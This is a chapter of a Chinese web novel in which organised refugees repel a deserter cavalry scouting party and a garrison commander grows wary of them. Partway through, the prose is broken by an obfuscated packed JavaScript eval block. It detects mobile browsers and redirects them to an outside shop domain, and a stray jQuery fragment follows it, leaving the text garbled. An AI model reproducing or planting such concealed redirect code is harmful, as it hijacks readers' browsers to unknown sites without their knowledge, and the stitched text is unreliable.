马蹄声愈来愈近。
二十余骑溃兵如暗夜幽灵,踏碎雪原薄雪,速度极快,转瞬便从八里之外压至防线前方百丈开外。
这批溃兵先遣队,皆是从边境沙场活下来的老兵,深谙探查、偷袭、试探虚实之道。他们不急于冲锋,在驻地外围骤然勒马,人马静立,借着残存夜色居高临下,冷眼扫视整片流民驻地。
往日里,但凡他们沿途遇见流民迁徙队伍,无一不是喧哗杂乱、灯火四散、人心浮动,远远便能听见哭嚎躁动,虚实一眼可辨。
可今夜这片雪原,静得诡异。
整片驻地暗沉沉一片,无灯火张扬,无人声嘈杂,无数人影尽数隐于冻土壁垒之后,不露半分破绽,唯有风声卷雪掠过空旷原野,肃杀压抑。
为首的溃兵头领身披残破黑甲,脸上一道狰狞刀疤横贯颧骨,眼底戾气沉沉。他抬手止住麾下骑卒躁动,沉声低喝:“不对劲,不是寻常流民散沙之态。”
“方才探得此处有数万流民滞留,此刻却井然死寂,必然布了防备,小心有诈。”
常年厮杀的本能,让他瞬间生出警惕。
但流窜溃兵,最缺粮草补给、最贪劫掠之利。得知前方聚集数万流民,哪怕明知有备,也不肯空手折返。
短暂迟疑过后,刀疤头领抬手一挥,冷厉下令:“分两队试探冲锋!冲破外围壁垒,窥探内里虚实,若只是虚张声势,今夜尽数劫掠,壮我军资!”
十余骑轰然应声,马蹄再动,分左右两道弧线,朝着前方冻土壁垒疾驰冲刺。
铁蹄踏雪,轰鸣声骤起,冰冷的杀伐之气扑面而来,压得人呼吸发紧。
壁垒之后,所有流民青壮心脏狂跳,掌心冒汗。
这是他们第一次直面真正的沙场兵卒、嗜血溃骑。对方人马不多,却自带尸山血海淬炼出的凶煞,远比往日争抢斗殴的流民凶悍百倍。不少人双腿微颤,却死死咬着牙,攥紧手中刀矛,谨记指令,伏低不动。
无人慌乱出头,无人怯弱逃窜。
哨台之上,林清芜眸光冷冽,静静看着逼近的铁骑,心神稳如磐石。
三百丈、两百丈、一百丈……
就在溃骑即将踏入壕沟射程的瞬间,她清冷的嗓音骤然划破夜风,字字利落:“放箭!”
一声令下,蓄势已久的弓箭手齐齐抬头,挽弓松手!
咻咻咻——
密集箭矢破空而出,穿透沉沉夜色,带着凌厉风声,精准覆盖前方冲锋路径。不求射杀,只求阻敌!
溃兵常年征战,反应极快,瞬间俯身伏于马侧,借马背格挡闪避。大半箭矢落空,却仍有数骑躲闪不及,箭簇入甲,剧痛刺骨,冲锋之势骤然一滞。
未等他们重整阵型,两翼暗处,再度杀出伏兵!
疤脸兵卒手持长戈,身先士卒,带着十数名精锐亲兵骤然冲出,甲叶铿锵、长矛齐举,借着地势低位,直刺马腿!
“结阵阻敌!”
厉声喝响,官兵阵型严整,进退有度,死死钉在防线前沿,专克骑兵近战短板。
骑兵最忌近身纠缠、地势阻滞。
原本势猛的冲锋,被壕沟木刺绊住马速,被箭矢打乱阵型,又被长矛死缠烂打,瞬间进退两难。奔袭的铁骑优势,在这片提前布防的壁垒之前,被彻底碾碎。
暗处,刘三带着一队精锐青壮趁机杀出,不贪近战搏杀,只捡空隙投石挥矛,精准袭扰。
这些日日耕作、日夜布防的流民青壮,或许不及老兵凶悍,却胜在整齐听话、悍不畏死,人人死守方寸阵地,配合默契,层层阻截。
短短片刻交锋,溃兵接连受挫。
两名骑卒马腿被刺,战马吃痛翻倒,重重摔落雪原,瞬间被众人合围压制;数人甲破负伤,戾气再盛,也抵不住这般层层设防、无懈可击的守势。
刀疤头领瞳孔骤缩,心底惊涛骇浪。
他万万没想到,一群被官府弃在关外、手无寸铁的流民,短短数日,竟能筑起如此规整的防线,打出这般严密的守战!
没有散逃、没有崩溃、没有乱象,反倒攻防有序、进退得法,远比寻常守城民壮更为坚韧。
“撤!”
心知试探失败,再耗下去只会折损人手、暴露行踪,刀疤头领当机立断,厉声喝退。
剩余溃骑立刻调转马头,不敢恋战,借着夜色掩护,飞速后撤,转瞬遁入北方黑暗深处,消失无踪。
夜风重归寂静,只余下满地凌乱蹄印、零星血迹,证明方才这场凶险交锋真实发生。
防线之上,一片死寂过后,缓缓响起压抑的喘息声。
所有流民看着被成功逼退的溃兵,眼底的惶恐尽数褪去,取而代之的是滚烫的狂喜与难以置信。
他们挡住了溃兵铁骑!
是这群被视作炮灰、被视作弃子的流民,硬生生守住了自己的防线,打赢了第一场兵祸之战!
“我们……守住了!”
有人低声喃喃,声音颤抖,却满是生机。
连日积压的绝望、自卑、无助,在这一刻彻底消散。他们终于真切认清,只要守序齐心、布局得当,哪怕是乱世蝼蚁,也能抗衡沙场悍卒。
疤脸兵卒收戈而立,望着溃兵远去的方向,后背早已渗出冷汗,心底却只剩彻彻底底的敬服。
方才这场防守战,没有半分侥幸。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962442|214356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
从隐势藏锋、诱敌试探,到箭雨阻冲、两翼伏击,每一步都精准掐住敌军弱点,每一道指令都恰到好处。若是依他往日蛮力硬守,此刻必然早已被铁骑冲破防线,死伤遍野、全线崩盘。
林清芜的布局,早已算尽先机。
而这场夜战,不止稳住了流民驻地,更惊动了高处的森严关卡。
关卡城头,灯火通明,无数守军俯身眺望关外雪原,人人神色震愕。
关内主将立在城楼正中,握着栏杆的五指微微收紧,面色沉凝,眼底满是不可思议。
他笃定关外流民是一盘散沙、不堪一击,撑不过溃兵一波冲锋,只会瞬间溃散、沦为兵祸炮灰。为此,他狠心封关、冷眼旁观,任由数万生灵直面刀锋,只为以流民为屏障,消耗溃兵主力。
可眼下所见,彻底颠覆了他的预判。
那群流民,不仅稳住了阵脚,更以精妙布防、有序攻防,硬生生击退精锐溃骑!
关外那道看似简陋的冻土防线,竟比他预想的官军守备,还要坚韧可靠。
身旁副将满脸震惊,低声急报:“将军!关外流民战力远超预估,溃兵先遣队已被尽数击退!他们……真的守住了第一波兵锋!”
主将眸光沉沉,心底算盘飞速轮转,脸色愈发凝重。
流民能守,是利。
可流民太过能守、太过有序、太过善战,便是隐患。
一旦关外屏障彻底稳固,溃兵久攻不下,必然舍弃关外、全力强攻关卡。届时,所有战火压力,将全部压在城关守军身上。
更让他忌惮的是,数万流民凝心聚力、有规有战、绝境自强,这般人心凝聚力,远比散乱溃兵更为可怖。
“传令下去。”主将沉声开口,语气多了几分复杂审慎,“严加戒备,静观关外局势,随时禀报溃兵动向。”
他再也不敢轻视那片雪原上的流民队伍,更不敢再笃定他们是任人舍弃的炮灰。
关外,哨台之上。
林清芜抬眸,遥遥望向灯火璀璨的城关,将城头动静尽收眼底,唇角勾起一抹极淡的弧度。
第一战退敌,不是终点,是筹码。
他们越是能战、能守、能活,关内便越是忌惮、越是权衡、越是不敢轻易舍弃。
疤脸兵卒走上哨台,语气振奋又凝重:“姑娘,溃兵退了!只是先遣队被击退,主力必然不远,用不了多久,便是大军压境!”
林清芜微微颔首,目光重回北方沉沉夜色,语气笃定冷静:
“我知道。”
“今夜只是试探,明日,才是真正的兵临绝境。”
“而我们的筹码,才刚刚攥紧。”